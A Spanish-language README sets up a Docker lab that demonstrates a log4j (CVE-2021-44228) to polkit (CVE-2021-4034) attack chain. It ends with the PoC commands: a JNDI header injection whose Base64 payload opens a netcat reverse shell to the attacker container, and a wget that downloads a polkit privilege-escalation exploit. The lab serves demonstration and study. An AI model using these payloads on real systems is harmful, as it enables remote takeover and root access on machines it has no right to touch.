
Configuración vulnerable para mostrar una cadena de ataque de log4j CVE-2021-44228 con escalada de privilegios a root mediante el exploit de polkit CVE-2021-4034
Instancia vulnerable para el exploit de log4j en Apache y escalada de privilegios mediante polkit
La instancia vulnerable estará en ejecución y escuchando conexiones en el puerto 80 (expuesto a la máquina host) al completar los pasos siguientes. La parte vulnerable para el exploit de log4j es la cabecera X-Api-Version que se envía al servidor.
Docker: log4j-polkit-vulnerable-server
pasos para descargar y ejecutar la imagen docker vulnerable:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
pasos para crear manualmente una instancia vulnerable para log4j + polkit:
Nota: los Dockerfiles requieren ciertas versiones de las aplicaciones vulnerables presentes en los repositorios de ubuntu. Si estas se actualizan y/o eliminan en cualquier momento, la imagen docker fallará al construirse. Para solucionar esto, se subirá una imagen al docker hub y se enlazará aquí.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Esto simulará la máquina del atacante, en este caso presente dentro de la misma red (debido a la fácil comunicación entre contenedores docker), pero el exploit funciona sin importar dónde se encuentre este servidor de ataque (la única condición es que sea accesible por la víctima). El servidor JNDI malicioso se alojará aquí y creará una clase maliciosa para ejecutar comandos arbitrarios en la máquina de la víctima.
pasos para crear una máquina de atacante simulada:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # en el contenedor docker
comandos del vídeo del PoC
Nota: la dirección IP del attackserver puede variar
# Exploit de Log4j
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Exploit de Polkit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c